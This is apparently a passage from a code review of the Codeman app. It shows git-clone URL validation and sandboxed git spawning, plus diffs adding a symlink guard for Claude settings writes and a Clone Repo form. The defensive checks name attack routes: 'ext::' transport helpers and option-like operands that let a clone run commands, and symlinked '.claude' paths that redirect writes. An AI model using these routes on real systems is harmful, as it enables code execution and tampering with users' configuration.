/** scp-like `[user@]host:path`, the form GitHub prints as "SSH". */
const SCP_LIKE_RE = /^(?:([^@/\s]+)@)?([^:/\s]+):(?!\/)(.+)$/;
/** `C:\repos\x` / `C:/repos/x` — a Windows path, not an scp-like host. */
const WINDOWS_PATH_RE = /^[a-zA-Z]:[\\/]/;
/** Hostname or bracketed IPv6 literal, with an optional `:port`. */
const HOST_RE = /^(?:\[[0-9a-fA-F:.]+\]|[a-zA-Z0-9](?:[a-zA-Z0-9\-.]*[a-zA-Z0-9])?)(?::\d{1,5})?$/;
/** Anything git would not accept quietly in a branch/tag name. */
const SAFE_REF_RE = /^[A-Za-z0-9][A-Za-z0-9._/\-+]*$/;
/**
* Turn a repository name into a Codeman case name.
*
* Case names are `[a-zA-Z0-9_-]+` everywhere else in the app (`SAFE_CASE_NAME`
* in case-routes.ts, `CreateCaseSchema`), so anything else collapses to `-`.
* Returns `''` when nothing usable survives, which the UI treats as "the user
* must type a name" rather than silently inventing one.
*/
export function suggestCaseNameFromRepo(repo: string): string {
const cleaned = repo
.replace(/\.git$/i, '')
.replace(/[^a-zA-Z0-9_-]+/g, '-')
.replace(/-{2,}/g, '-')
.replace(/^[-_]+|[-_]+$/g, '')
.slice(0, 64)
.replace(/[-_]+$/g, '');
return /^[a-zA-Z0-9_-]+$/.test(cleaned) ? cleaned : '';
}
function reject(code: GitUrlRejectionCode, message: string): GitUrlRejected {
return { cloneable: false, code, message };
}
/** Split `owner/sub/repo(.git)` into its owner prefix and repo name. */
function splitRepoPath(rawPath: string): { owner: string; repo: string } {
const segments = rawPath.replace(/^\/+/, '').replace(/\/+$/, '').split('/').filter(Boolean);
const last = segments.pop() ?? '';
return { owner: segments.join('/'), repo: last.replace(/\.git$/i, '') };
}
function accept(
parts: Omit<GitUrlAccepted, 'cloneable' | 'provider' | 'suggestedName'> & { warnings: string[] }
): GitUrlParse {
if (!parts.repo) {
return reject(
'NO_REPOSITORY_NAME',
'That URL has no repository name in it. Expected something like https://github.com/owner/repo.git'
);
}
return {
cloneable: true,
...parts,
provider: PROVIDER_LABELS[parts.host.toLowerCase()] || parts.host || 'local path',
suggestedName: suggestCaseNameFromRepo(parts.repo),
};
}
/**
* Decide whether `input` is something Codeman will hand to `git clone`, and pull
* the pieces the UI needs (provider, owner/repo, suggested case name) out of it.
*
* This is the security boundary for the clone endpoint. Read the module header
* before loosening any branch here — `ext::`-style transports and
* option-shaped operands are the two that turn a clone into arbitrary code
* execution.
*
* Accepting a URL says nothing about whether the remote EXISTS or is public;
* only `probeGitRemote` can answer that.
*/
export function parseGitRepositoryUrl(input: string): GitUrlParse {
const raw = (input ?? '').trim();
if (!raw) return reject('EMPTY', 'Enter a repository URL.');
if (raw.length > MAX_REPOSITORY_LENGTH) {
return reject('TOO_LONG', `Repository URL is too long (max ${MAX_REPOSITORY_LENGTH} characters).`);
}
// eslint-disable-next-line no-control-regex -- deliberate: reject C0/C1 and DEL.
if (/[\u0000-\u001f\u007f-\u009f]/.test(raw)) {
return reject('CONTROL_CHARS', 'Repository URL contains control characters.');
}
if (raw.startsWith('-')) {
// git would read this as a flag. `--` before the operands makes this
// defence redundant; both stay, because either one alone is fragile.
return reject('OPTION_LIKE', 'Repository URL may not start with "-".');
}
if (TRANSPORT_HELPER_RE.test(raw)) {
return reject(
'TRANSPORT_HELPER',
'Transport helpers such as "ext::" are refused: they let a URL run commands on this machine.'
);
}
const schemeMatch = SCHEME_RE.exec(raw);
if (schemeMatch) {
const scheme = schemeMatch[1].toLowerCase();
if (scheme === 'file') return parseLocalSource(raw.slice('file://'.length), raw);
if (scheme !== 'https' && scheme !== 'http' && scheme !== 'ssh' && scheme !== 'git') {
return reject(
'UNSUPPORTED_TRANSPORT',
`Unsupported transport "${scheme}://". Use https://, ssh://, git:// or an SSH address like git@host:owner/repo.git`
);
}
let url: URL;
try {
url = new URL(raw);
} catch {
return reject('BAD_SYNTAX', 'That does not look like a valid URL.');
}
if (url.password) {
return reject(
'CREDENTIALS_IN_URL',
'Remove the password from the URL. Codeman never accepts or stores Git credentials.'
);
}
const host = url.host;
if (!host || !HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That URL has no usable hostname.');
// `new URL` tolerates malformed percent-escapes ("%zz" passes through), but
// decodeURIComponent throws on them: uncaught, that URIError was a 500 for
// what is simply a malformed URL.
let pathname: string;
try {
pathname = decodeURIComponent(url.pathname);
} catch {
return reject('BAD_SYNTAX', 'That URL contains an invalid percent-escape.');
}
const { owner, repo } = splitRepoPath(pathname);
const warnings: string[] = [];
if (scheme === 'http') warnings.push('Plain http:// is unencrypted. Prefer https:// when the host offers it.');
if (scheme === 'git') warnings.push('git:// is unauthenticated and unencrypted. Prefer https:// when possible.');
if (scheme === 'ssh') warnings.push(sshWarning(host));
if (url.username && scheme !== 'ssh') {
warnings.push('The username in the URL is passed to git as-is; Codeman supplies no password for it.');
}
return accept({
repository: raw,
transport: scheme as GitTransport,
host,
owner,
repo,
warnings,
});
}
if (raw.startsWith('/')) return parseLocalSource(raw, raw);
if (WINDOWS_PATH_RE.test(raw)) return parseLocalSource(raw, raw);
if (raw.startsWith('~') || raw.startsWith('./') || raw.startsWith('../')) {
return reject(
'BAD_SYNTAX',
'Use an absolute path for a local repository (no "~" or relative paths), or a full URL.'
);
}
const scp = SCP_LIKE_RE.exec(raw);
if (scp) {
const host = scp[2];
if (!HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That does not look like a valid SSH address.');
if (scp[1]?.includes(':')) {
return reject(
'CREDENTIALS_IN_URL',
'Remove the password from the address. Codeman never accepts or stores Git credentials.'
);
}
const { owner, repo } = splitRepoPath(scp[3]);
return accept({
repository: raw,
transport: 'ssh',
host,
owner,
repo,
warnings: [sshWarning(host)],
});
}
return reject(
'BAD_SYNTAX',
'Enter a full repository URL, e.g. https://github.com/owner/repo.git or git@github.com:owner/repo.git'
);
}
function sshWarning(host: string): string {
return `SSH clones use this machine's existing ssh keys and known_hosts for ${host}. Codeman adds no credentials, so an unconfigured key fails immediately instead of prompting.`;
}
/**
* A local source (`file://…` or an absolute path). Kept because cloning a repo
* that already exists on this machine is genuinely useful and involves no
* network at all. Existence is NOT checked here (this half stays free of IO):
* git reports a missing path perfectly well, and the preflight surfaces it.
*
* The route gates local sources to admins in multi-user mode: a per-user case
* space is a read boundary, and a local clone would read straight through it
* (the same reason `/api/cases/link` is admin-only there).
*/
function parseLocalSource(path: string, original: string): GitUrlParse {
const cleaned = path.replace(/\/+$/, '');
if (!cleaned || (!cleaned.startsWith('/') && !WINDOWS_PATH_RE.test(cleaned))) {
return reject('BAD_SYNTAX', 'Local repository paths must be absolute.');
}
const { owner, repo } = splitRepoPath(cleaned);
return accept({
repository: original,
transport: 'local',
host: '',
owner: owner ? `/${owner}` : '',
repo,
warnings: ['Local clone: git copies from this machine, no network involved.'],
});
}
/** Is `ref` safe to pass as `--branch <ref>`? Rejects flags, spaces and `..`. */
export function isSafeGitRef(ref: string): boolean {
if (!ref || ref.length > MAX_REF_LENGTH) return false;
if (ref.includes('..') || ref.includes('@{') || ref.endsWith('.lock') || ref.endsWith('/')) return false;
return SAFE_REF_RE.test(ref);
}
// ─── Pure: argv + env ────────────────────────────────────────────────────────
/**
* argv for the clone. `--` separates flags from operands so neither the
* repository nor the destination can ever be read as an option.
*/
export function buildCloneArgs(opts: CloneOptions): string[] {
const args = ['clone'];
// `--single-branch` is what makes "just this tag/branch" cheap on a big repo.
if (opts.ref) args.push('--single-branch', '--branch', opts.ref);
if (opts.shallow) args.push('--depth', '1');
args.push('--', opts.repository, opts.destination);
return args;
}
/** argv for the preflight. `--symref` is what reveals the remote's default branch. */
export function buildLsRemoteArgs(repository: string): string[] {
return ['ls-remote', '--symref', '--', repository];
}
/**
* Environment that makes git fail instead of blocking on a prompt.
*
* Every entry closes one way an interactive git can hang a request that has no
* terminal attached: the built-in prompt, a GUI/askpass helper, an ssh
* host-key or passphrase prompt, and Git Credential Manager. `HOME` and `PATH`
* are inherited on purpose — a user whose own ssh agent or credential helper
* already works should keep working.
*/
export function gitNonInteractiveEnv(base: NodeJS.ProcessEnv = process.env): NodeJS.ProcessEnv {
return {
...base,
GIT_TERMINAL_PROMPT: '0',
GIT_ASKPASS: '',
SSH_ASKPASS: '',
SSH_ASKPASS_REQUIRE: 'never',
DISPLAY: '',
GCM_INTERACTIVE: 'never',
GIT_SSH_COMMAND:
base.GIT_SSH_COMMAND || 'ssh -oBatchMode=yes -oStrictHostKeyChecking=accept-new -oConnectTimeout=10',
};
}
// ─── Pure: output handling ───────────────────────────────────────────────────
/**
* Make git's stderr safe to show in the browser: strip ANSI/control bytes,
* redact any `scheme://user:secret@host` that a credential helper echoed back,
* and keep only the tail (the last lines are the ones that say why it failed).
*/
export function sanitizeGitOutput(text: string, maxBytes = MAX_STDERR_BYTES): string {
const redacted = text
.replace(/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/@\s]*:[^/@\s]*@/g, '$1***:***@')
// eslint-disable-next-line no-control-regex -- deliberate: strip C0/C1 and DEL.
.replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, '')
.trim();
return redacted.length > maxBytes ? `…${redacted.slice(-maxBytes)}` : redacted;
}
/** Parse `git ls-remote --symref` output into a default branch plus ref lists. */
export function parseLsRemoteOutput(stdout: string): {
defaultBranch?: string;
branches: string[];
tags: string[];
truncated: boolean;
} {
let defaultBranch: string | undefined;
const branches: string[] = [];
const tags: string[] = [];
let truncated = false;
for (const line of stdout.split('\n')) {
const trimmed = line.trim();
if (!trimmed) continue;
const symref = /^ref:\s+refs\/heads\/(\S+)\s+HEAD$/.exec(trimmed);
if (symref) {
defaultBranch = symref[1];
continue;
}
const ref = /^[0-9a-f]{40,64}\s+(\S+)$/.exec(trimmed);
if (!ref) continue;
const name = ref[1];
// Peeled tags (`refs/tags/v1^{}`) duplicate their tag; drop them.
if (name.endsWith('^{}')) continue;
if (name.startsWith('refs/heads/')) {
if (branches.length < MAX_REFS_RETURNED) branches.push(name.slice('refs/heads/'.length));
else truncated = true;
} else if (name.startsWith('refs/tags/')) {
if (tags.length < MAX_REFS_RETURNED) tags.push(name.slice('refs/tags/'.length));
else truncated = true;
}
}
return { defaultBranch, branches, tags, truncated };
}
/**
* Turn a git failure into something actionable.
*
* The AUTH_REQUIRED wording matters: GitHub answers "Repository not found" for a
* private repo AND for a typo when unauthenticated, so a bare "not found" would
* send people hunting for a spelling mistake that isn't there.
*/
export function classifyGitFailure(stderr: string, timedOut: boolean, spawnError?: string): GitFailure {
const clean = sanitizeGitOutput(stderr);
const lower = `${clean}\n${spawnError ?? ''}`.toLowerCase();
if (spawnError && /enoent/i.test(spawnError)) {
return {
code: 'GIT_MISSING',
message: 'git is not installed on this machine (or not on the server\u2019s PATH).',
stderr: clean,
};
}
if (spawnError && spawnError.startsWith('EBUSY')) {
return {
code: 'BUSY',
message: 'Too many git operations are already running on this server. Try again in a moment.',
stderr: clean,
};
}
if (timedOut) {
return {
code: 'TIMEOUT',
message:
'Git timed out. Large repositories may need the shallow option, or a longer CODEMAN_GIT_CLONE_TIMEOUT_MS.',
stderr: clean,
};
}
if (
/could not read username|authentication failed|terminal prompts disabled|permission denied \(publickey\)|invalid username or password|access denied/.test(
lower
)
) {
return {
code: 'AUTH_REQUIRED',
message:
'That repository needs authentication. Codeman clones without credentials, so private repositories have to be cloned outside Codeman and added with Link Existing.',
stderr: clean,
};
}
if (/remote branch .* not found|could not find remote branch|pathspec .* did not match/.test(lower)) {
return { code: 'REF_NOT_FOUND', message: 'That branch or tag does not exist on the remote.', stderr: clean };
}
if (
/repository not found|not found|does not exist|does not appear to be a git repository|no such file or directory/.test(
lower
)
) {
return {
code: 'NOT_FOUND',
message:
'Repository not found. Check the URL, since hosts also answer "not found" for private repositories when no credentials are supplied.',
stderr: clean,
};
}
if (/could not resolve host|connection refused|connection timed out|network is unreachable|ssl|tls/.test(lower)) {
return { code: 'HOST_UNREACHABLE', message: 'Could not reach that host from this machine.', stderr: clean };
}
if (/already exists and is not an empty directory|destination path .* already exists/.test(lower)) {
return { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: clean };
}
return { code: 'FAILED', message: clean ? `git failed: ${firstLine(clean)}` : 'git failed.', stderr: clean };
}
function firstLine(text: string): string {
const line = text.split('\n').find((l) => l.trim().length > 0) ?? '';
return line.length > 300 ? `${line.slice(0, 300)}…` : line;
}
// ─── IO: bounded git spawns ──────────────────────────────────────────────────
let activeGitOperations = 0;
type SlotAcquisition = 'acquired' | 'queue-full' | 'timed-out';
interface GitSlotWaiter {
grant: () => void;
}
const gitWaiters: GitSlotWaiter[] = [];
/** Test/diagnostic hook: git operations currently holding a slot. */
export function getActiveGitOperationCount(): number {
return activeGitOperations;
}
/** Test/diagnostic hook: git operations currently queued behind the pool. */
export function getQueuedGitOperationCount(): number {
return gitWaiters.length;
}
/**
* Acquire a pool slot, waiting at most `maxWaitMs` in a BOUNDED queue.
*
* Both failure modes resolve (never reject): a full queue answers immediately,
* and a queue wait that exhausts the caller's deadline removes itself before
* resolving, so an abandoned waiter can never be granted a slot later and leak
* it.
*/
function acquireGitSlot(maxWaitMs: number): Promise<SlotAcquisition> {
if (activeGitOperations < MAX_CONCURRENT_GIT_OPERATIONS) {
activeGitOperations++;
return Promise.resolve('acquired');
}
if (gitWaiters.length >= MAX_QUEUED_GIT_OPERATIONS) return Promise.resolve('queue-full');
return new Promise<SlotAcquisition>((resolve) => {
const waiter: GitSlotWaiter = {
grant: () => {
clearTimeout(timer);
resolve('acquired');
},
};
const timer = setTimeout(() => {
const idx = gitWaiters.indexOf(waiter);
if (idx !== -1) gitWaiters.splice(idx, 1);
resolve('timed-out');
}, maxWaitMs);
gitWaiters.push(waiter);
});
}
function releaseGitSlot(): void {
const next = gitWaiters.shift();
// Hand the slot straight over so the active count can never exceed the cap.
if (next) next.grant();
else activeGitOperations--;
}
interface GitRun {
stdout: string;
stderr: string;
code: number | null;
timedOut: boolean;
spawnError?: string;
}
/**
* Run git with a hard wall-clock bound and capped output capture.
*
* SIGTERM then SIGKILL, because `git clone` fans out into `git-remote-https` /
* `git index-pack` children: a single polite signal to the parent can leave the
* fetch running. `detached: true` puts the whole tree in its own process group
* so the escalation kills the children too, which is also why the negative-pid
* signal is used rather than `child.kill()`.
*/
async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number): Promise<GitRun> {
// The queue wait spends the SAME deadline as the operation: `timeoutMs` is a
// promise about the whole call, not about git's runtime after some unbounded
// wait. A full queue is refused outright rather than queued.
const queuedAt = Date.now();
const slot = await acquireGitSlot(timeoutMs);
if (slot === 'queue-full') {
return { stdout: '', stderr: '', code: null, timedOut: false, spawnError: 'EBUSY: git operation queue is full' };
}
if (slot === 'timed-out') {
return { stdout: '', stderr: '', code: null, timedOut: true };
}
const remainingMs = Math.max(1, timeoutMs - (Date.now() - queuedAt));
try {
return await new Promise<GitRun>((resolve) => {
let child: ReturnType<typeof spawn>;
try {
child = spawn('git', args, {
env: gitNonInteractiveEnv(),
stdio: ['ignore', 'pipe', 'pipe'],
detached: true,
});
} catch (err) {
resolve({ stdout: '', stderr: '', code: null, timedOut: false, spawnError: String(err) });
return;
}
let stdout = '';
let stderr = '';
let stdoutBytes = 0;
let timedOut = false;
let settled = false;
let killTimer: NodeJS.Timeout | undefined;
const killTree = (signal: NodeJS.Signals) => {
try {
if (child.pid) process.kill(-child.pid, signal);
} catch {
try {
child.kill(signal);
} catch {
/* already gone */
}
}
};
const timer = setTimeout(() => {
timedOut = true;
killTree('SIGTERM');
killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
}, remainingMs);
child.stdout?.on('data', (chunk: Buffer) => {
stdoutBytes += chunk.length;
if (stdoutBytes <= maxStdoutBytes) stdout += chunk.toString('utf-8');
});
child.stderr?.on('data', (chunk: Buffer) => {
stderr += chunk.toString('utf-8');
// Keep a bounded tail rather than the whole (potentially huge) stream.
if (stderr.length > MAX_STDERR_BYTES * 2) stderr = stderr.slice(-MAX_STDERR_BYTES);
});
const finish = (result: GitRun) => {
if (settled) return;
settled = true;
clearTimeout(timer);
if (killTimer) clearTimeout(killTimer);
resolve(result);
};
child.on('error', (err) => finish({ stdout, stderr, code: null, timedOut, spawnError: String(err) }));
child.on('close', (code) => finish({ stdout, stderr, code, timedOut }));
});
} finally {
releaseGitSlot();
}
}
/** Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. */
let gitAvailable: boolean | null = null;
export function isGitAvailable(): boolean {
if (gitAvailable !== null) return gitAvailable;
try {
execFileSync('git', ['--version'], {
encoding: 'utf-8',
timeout: EXEC_TIMEOUT_MS,
stdio: ['ignore', 'pipe', 'ignore'],
});
gitAvailable = true;
} catch {
gitAvailable = false;
}
return gitAvailable;
}
/**
* Ask the remote what it has, without cloning: reachability, whether it can be
* read anonymously, its default branch, and its branch/tag lists (which the UI
* turns into a ref picker instead of a free-text field).
*
* Never throws — an unreachable remote is a normal answer here, not an error.
*/
export async function probeGitRemote(
repository: string,
timeoutMs = GIT_LS_REMOTE_TIMEOUT_MS
): Promise<GitRemoteProbe> {
if (!isGitAvailable()) {
return {
reachable: false,
branches: [],
tags: [],
failure: classifyGitFailure('', false, 'ENOENT: git not found'),
};
}
const run = await runGit(buildLsRemoteArgs(repository), timeoutMs, MAX_LS_REMOTE_BYTES);
if (run.code !== 0 || run.spawnError) {
return {
reachable: false,
branches: [],
tags: [],
failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError),
};
}
const parsed = parseLsRemoteOutput(run.stdout);
return {
reachable: true,
...(parsed.defaultBranch ? { defaultBranch: parsed.defaultBranch } : {}),
branches: parsed.branches,
tags: parsed.tags,
...(parsed.truncated ? { truncated: true } : {}),
};
}
/**
* Clone `repository` into `destination`.
*
* git clones into an ATTEMPT-OWNED temp sibling (`.<name>.cloning-<random>`,
* dot-prefixed so an orphan from a crash never shows up as a case), which is
* atomically renamed into place on success. Two concurrent requests for the
* same destination used to both pass the existence check, and the loser's
* failure cleanup then deleted the WINNER's freshly cloned tree; now each
* attempt only ever creates and removes its own directory, the rename decides
* the winner, and the loser reports DESTINATION_EXISTS. The upfront existence
* check stays as the fast path for the common non-racing case.
*
* Never throws; every outcome is a `CloneResult`.
*/
export async function cloneRepository(opts: CloneOptions): Promise<CloneResult> {
if (!isGitAvailable()) {
return { ok: false, failure: classifyGitFailure('', false, 'ENOENT: git not found') };
}
if (opts.ref && !isSafeGitRef(opts.ref)) {
return {
ok: false,
failure: { code: 'REF_NOT_FOUND', message: 'Invalid branch or tag name.', stderr: '' },
};
}
if (existsSync(opts.destination)) {
return {
ok: false,
failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
};
}
// Sibling of the destination (same filesystem), so the rename is atomic.
const attemptDir = join(
dirname(opts.destination),
`.${basename(opts.destination)}.cloning-${randomBytes(6).toString('hex')}`
);
const run = await runGit(
buildCloneArgs({ ...opts, destination: attemptDir }),
opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS,
MAX_STDERR_BYTES
);
if (run.code === 0 && !run.spawnError) {
try {
await rename(attemptDir, opts.destination);
return { ok: true, stderr: sanitizeGitOutput(run.stderr) };
} catch (err) {
// Renaming a directory onto an existing non-empty one fails: someone
// else won the race. Clean up OUR tree only; theirs is never touched.
await rm(attemptDir, { recursive: true, force: true }).catch(() => {});
const code = (err as NodeJS.ErrnoException).code;
if (code === 'EEXIST' || code === 'ENOTEMPTY' || code === 'ENOTDIR' || code === 'EPERM') {
return {
ok: false,
failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
};
}
return {
ok: false,
failure: {
code: 'FAILED',
message: `Could not move the finished clone into place: ${String(err)}`,
stderr: '',
},
};
}
}
// Remove ONLY this attempt's temp directory (git may have written a partial
// tree, or nothing at all). The destination is never deleted on failure.
await rm(attemptDir, { recursive: true, force: true }).catch(() => {});
return { ok: false, failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError) };
}
+69 -22
View File
@@ -30,7 +30,7 @@
import { randomBytes } from 'node:crypto';
import { existsSync } from 'node:fs';
import { readFile, writeFile, mkdir, lstat, readdir, rename, unlink, rmdir } from 'node:fs/promises';
import { readFile, writeFile, mkdir, lstat, readdir, realpath, rename, unlink, rmdir } from 'node:fs/promises';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
@@ -288,6 +288,64 @@ function withSettingsLock<T>(path: string, fn: () => Promise<T>): Promise<T> {
return run;
}
/**
* Why writing into `<casePath>/.claude/settings.local.json` must NOT proceed,
* or null when it is safe.
*
* Case contents can be FOREIGN (a freshly cloned repository, an imported
* tree): `.claude` or the settings file itself can arrive as a symlink
* pointing anywhere on this machine, and `writeFile` follows links, so a
* scaffold write would land outside the case, up to and including replacing
* the user's own `~/.claude/settings.json` (#251 review). Any symlink in the
* chain, or a `.claude` that resolves outside the case, refuses the write.
* A missing `.claude` is fine (the writer creates it).
*/
export async function settingsWriteBlocker(casePath: string): Promise<string | null> {
const claudeDir = join(casePath, '.claude');
try {
const dirStat = await lstat(claudeDir).catch(() => null);
if (dirStat?.isSymbolicLink()) return 'its .claude is a symlink';
if (dirStat && !dirStat.isDirectory()) return 'its .claude is a file, not a directory';
if (dirStat && (await realpath(claudeDir)) !== join(await realpath(casePath), '.claude')) {
return 'its .claude directory resolves outside the case';
}
const settingsStat = await lstat(join(claudeDir, 'settings.local.json')).catch(() => null);
if (settingsStat?.isSymbolicLink()) return 'its .claude/settings.local.json is a symlink';
} catch (err) {
return `its .claude paths could not be verified (${String(err)})`;
}
return null;
}
/**
* The ONE gate for writing `<casePath>/.claude/settings.local.json`.
*
* Serializes writers per path (withSettingsLock) and, INSIDE the lock, refuses
* the write when `settingsWriteBlocker` reports the target unsafe. Every
* settings writer in this module must go through here rather than calling
* `writeFile` on the settings path itself, so a repository-controlled symlink
* can never redirect ANY of them outside the case (#251 review: the guard
* originally covered only two writers, and applyStatusLineConfig was shown
* writing through a symlinked settings file). Refusal is a console.warn, not
* a throw: hooks/statusline degrade gracefully and the session still runs.
*/
async function withSafeSettingsWrite(
casePath: string,
purpose: string,
fn: (claudeDir: string, settingsPath: string) => Promise<void>
): Promise<void> {
const claudeDir = join(casePath, '.claude');
const settingsPath = join(claudeDir, 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
const blocker = await settingsWriteBlocker(casePath);
if (blocker) {
console.warn(`[hooks-config] Refusing to write ${purpose} for ${casePath}: ${blocker}`);
return;
}
await fn(claudeDir, settingsPath);
});
}
/**
* Generates the hooks section for .claude/settings.local.json
*
@@ -471,8 +529,7 @@ function mergeCodemanHooks(existingValue: unknown, generated: Record<string, unk
export async function stripCaseEnvKeys(casePath: string, keysToRemove: readonly string[]): Promise<void> {
if (keysToRemove.length === 0) return;
const settingsPath = join(casePath, '.claude', 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
await withSafeSettingsWrite(casePath, 'env-key removal', async (_claudeDir, settingsPath) => {
if (!existsSync(settingsPath)) return;
let existing: Record<string, unknown>;
@@ -504,9 +561,7 @@ export async function stripCaseEnvKeys(casePath: string, keysToRemove: readonly
* Merges with existing env field; removes vars set to empty string.
*/
export async function updateCaseEnvVars(casePath: string, envVars: Record<string, string>): Promise<void> {
const claudeDir = join(casePath, '.claude');
const settingsPath = join(claudeDir, 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
await withSafeSettingsWrite(casePath, 'env vars', async (claudeDir, settingsPath) => {
if (!existsSync(claudeDir)) {
await mkdir(claudeDir, { recursive: true });
}
@@ -537,9 +592,7 @@ export async function updateCaseEnvVars(casePath: string, envVars: Record<string
* Pass a non-empty string to set, or empty/null to remove.
*/
export async function updateCaseModel(casePath: string, model: string | null): Promise<void> {
const claudeDir = join(casePath, '.claude');
const settingsPath = join(claudeDir, 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
await withSafeSettingsWrite(casePath, 'model', async (claudeDir, settingsPath) => {
if (!existsSync(claudeDir)) {
await mkdir(claudeDir, { recursive: true });
}
@@ -564,11 +617,11 @@ export async function updateCaseModel(casePath: string, model: string | null): P
/**
* Writes hooks config to .claude/settings.local.json in the given case path.
* Merges with existing file content, only touching the `hooks` key.
* Refuses (with a console.warn, not a throw: hooks degrade to output-based
* idle detection) when `settingsWriteBlocker` reports the target unsafe.
*/
export async function writeHooksConfig(casePath: string): Promise<void> {
const claudeDir = join(casePath, '.claude');
const settingsPath = join(claudeDir, 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
await withSafeSettingsWrite(casePath, 'hooks', async (claudeDir, settingsPath) => {
if (!existsSync(claudeDir)) {
await mkdir(claudeDir, { recursive: true });
}
@@ -610,9 +663,7 @@ export async function writeHooksConfig(casePath: string): Promise<void> {
* block they have never had), so that call is left to the owner rather than made here.
*/
export async function ensureCodemanHooks(casePath: string): Promise<void> {
const claudeDir = join(casePath, '.claude');
const settingsPath = join(claudeDir, 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
await withSafeSettingsWrite(casePath, 'hooks (ensure)', async (claudeDir, settingsPath) => {
if (!existsSync(claudeDir)) {
await mkdir(claudeDir, { recursive: true });
}
@@ -653,9 +704,8 @@ export async function ensureCodemanHooks(casePath: string): Promise<void> {
* when the hooks aren't ours, so it is cheap enough to call on every Claude spawn.
*/
export async function refreshStaleCodemanHooks(casePath: string): Promise<void> {
const settingsPath = join(casePath, '.claude', 'settings.local.json');
if (!existsSync(settingsPath)) return;
await withSettingsLock(settingsPath, async () => {
if (!existsSync(join(casePath, '.claude', 'settings.local.json'))) return;
await withSafeSettingsWrite(casePath, 'hooks (refresh)', async (_claudeDir, settingsPath) => {
let existing: Record<string, unknown>;
try {
existing = JSON.parse(await readFile(settingsPath, 'utf-8'));
@@ -724,10 +774,7 @@ export function generateStatusLineCommand(): string {
* Claude mode. Merges, preserving all other keys (hooks, env, model).
*/
export async function applyStatusLineConfig(casePath: string, enabled: boolean): Promise<void> {
const claudeDir = join(casePath, '.claude');
const settingsPath = join(claudeDir, 'settings.local.json');
await withSettingsLock(settingsPath, async () => {
await withSafeSettingsWrite(casePath, 'statusLine', async (claudeDir, settingsPath) => {
let existing: Record<string, unknown> = {};
if (existsSync(settingsPath)) {
try {
+4 -2
View File
@@ -1224,7 +1224,9 @@ export class Session extends EventEmitter {
/**
* Returns a subset of env overrides safe for disk persistence (state.json).
* Only non-sensitive `CLAUDE_CODE_*` keys are included. `OPENCODE_*` keys are
* Only non-sensitive `CLAUDE_CODE_*` keys plus CLAUDE_CONFIG_DIR (a path, not
* a secret — and losing it across a restart would silently move a session back
* to the default Claude account, #255) are included. `OPENCODE_*` keys are
* filtered out because the schema permits them and they can carry secrets
* (e.g., OPENCODE_API_KEY); secrets must not land in `~/.codeman/state.json`.
* Must NOT be included in any API-bound serializer — see toState() comment.
@@ -1233,7 +1235,7 @@ export class Session extends EventEmitter {
if (!this._envOverrides) return undefined;
const safe: Record<string, string> = {};
for (const [key, value] of Object.entries(this._envOverrides)) {
if (key.startsWith('CLAUDE_CODE_')) safe[key] = value;
if (key.startsWith('CLAUDE_CODE_') || key === 'CLAUDE_CONFIG_DIR') safe[key] = value;
}
return Object.keys(safe).length > 0 ? safe : undefined;
}
+46
View File
@@ -2078,6 +2078,7 @@
</div>
<div class="modal-tabs">
<button class="modal-tab-btn active" data-tab="case-create">Create New</button>
<button class="modal-tab-btn" data-tab="case-clone" id="caseCloneTabBtn">Clone Repo</button>
<button class="modal-tab-btn" data-tab="case-link">Link Existing</button>
<button class="modal-tab-btn" data-tab="case-remote">Remote</button>
<button class="modal-tab-btn" data-tab="case-docker">Docker</button>
@@ -2143,6 +2144,51 @@
</div>
</details>
</div>
<!-- Clone Repo Tab (issue #236) -->
<div class="modal-tab-content hidden" id="case-clone">
<div class="form-row">
<label>Repository URL</label>
<input type="url" id="cloneRepoUrl" placeholder="https://github.com/owner/repo.git" autocomplete="off" autocapitalize="off" autocorrect="off" spellcheck="false" oninput="app.onCloneUrlInput()">
<span class="form-hint clone-status" id="cloneRepoStatus">Public repositories only: Codeman clones with no credentials.</span>
</div>
<div class="form-row">
<label>Case Name</label>
<input type="text" id="cloneCaseName" placeholder="repo" pattern="[a-zA-Z0-9_-]+" autocomplete="off" autocapitalize="off" spellcheck="false" oninput="app.onCloneNameEdited()">
<span class="form-hint">Filled in from the URL. Cloned into ~/codeman-cases/&lt;name&gt;, so deleting the case deletes this working tree.</span>
</div>
<div class="form-row">
<label>Branch or Tag (optional)</label>
<input type="text" id="cloneRepoRef" list="cloneRepoRefOptions" placeholder="default branch" autocomplete="off" autocapitalize="off" spellcheck="false">
<datalist id="cloneRepoRefOptions"></datalist>
<span class="form-hint" id="cloneRefHint">Leave blank for the repository's default branch.</span>
</div>
<div class="form-row">
<label>Brain</label>
<select id="cloneCaseBrain" class="form-select">
<option value="">Leave the Run button as it is</option>
<option value="claude" data-cli="claude">Claude Code</option>
<option value="codex" data-cli="codex">Codex</option>
<option value="gemini" data-cli="gemini">Gemini</option>
<option value="opencode" data-cli="opencode">OpenCode</option>
<option value="antigravity" data-cli="antigravity">Antigravity</option>
<option value="shell">Shell (no agent)</option>
</select>
<span class="form-hint">Which CLI to point the Run button at once the clone finishes. Changeable any time from the Run dropdown.</span>
</div>
<details class="advanced-options">
<summary>Clone options</summary>
<div class="advanced-options-content">
<div class="form-row">
<label class="checkbox-row"><input type="checkbox" id="cloneShallow"> Shallow clone (--depth 1)</label>
<span class="form-hint">Much faster on big repositories, but there is no history to read afterwards.</span>
</div>
<div class="form-row">
<label class="checkbox-row"><input type="checkbox" id="cloneStartSession"> Start a session when the clone finishes</label>
</div>
</div>
